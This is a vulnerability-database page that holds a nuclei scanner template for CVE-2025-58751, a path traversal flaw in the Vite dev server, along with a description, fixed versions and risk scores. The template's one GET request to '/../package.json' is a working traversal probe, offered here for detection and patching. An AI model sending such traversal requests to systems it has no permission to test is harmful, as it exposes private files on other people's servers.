Lucene search
K

Vite Dev Server - Path Traversal

🗓️ 28 Jun 2026 03:02:45Reported by ProjectDiscoveryType 
nuclei
 nuclei
🔗 github.com👁 27 Views

Vite Dev Server path traversal exposes unauthorized files when the server is publicly exposed.

Related
Refs
Code
id: CVE-2025-58751

info:
  name: Vite Dev Server - Path Traversal
  author: wn147
  severity: low
  description: |
    Vite is a frontend tooling framework for JavaScript. Prior to versions 7.1.5, 7.0.7, 6.3.6, and 5.4.20, files starting with the same name with the public directory were served bypassing the `server.fs` settings. Only apps that explicitly expose the Vite dev server to the network (using --host or `server.host` config option), use the public directory feature (enabled by default), and have a symlink in the public directory are affected. Versions 7.1.5, 7.0.7, 6.3.6, and 5.4.20 fix the issue.
  impact: |
    Attackers can access unauthorized files bypassing filesystem restrictions, potentially exposing sensitive data.
  remediation: |
    Update to versions 7.1.5, 7.0.7, 6.3.6, or 5.4.20 or later.
  reference:
    - https://github.com/vitejs/vite/security/advisories/GHSA-g4jq-h2w9-997c
    - https://nvd.nist.gov/vuln/detail/CVE-2025-58751
  classification:
    cve-id: CVE-2025-58751
    epss-score: 0.0118
    epss-percentile: 0.63785
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 5.3
    cwe-id: CWE-22
  metadata:
    verified: true
    max-request: 1
    fofa-query: body="/@vite/client"
  tags: cve,cve2025,vite,lfi,vuln


http:
  - method: GET
    path:
      - "{{BaseURL}}/../package.json"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "application/json")'
          - 'contains_all(body, "\"name\":", "\"overrides\":")'
        condition: and
# digest: 490a004630440220451bd84e016906c474881e4ef9edd26bd5f396ea23f7c9281b79618d4184d5790220789422c112c1f4269a9fdd6750d1a2c746aa33e35d06f57390ad7a7f9b0ea94c:922c64590222798bb761d5b6d8e72950

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

04 Feb 2026 07:00Current
6Medium risk
Vulners AI Score6
CVSS 3.15.3
CVSS 42.3
EPSS0.0118
SSVC
27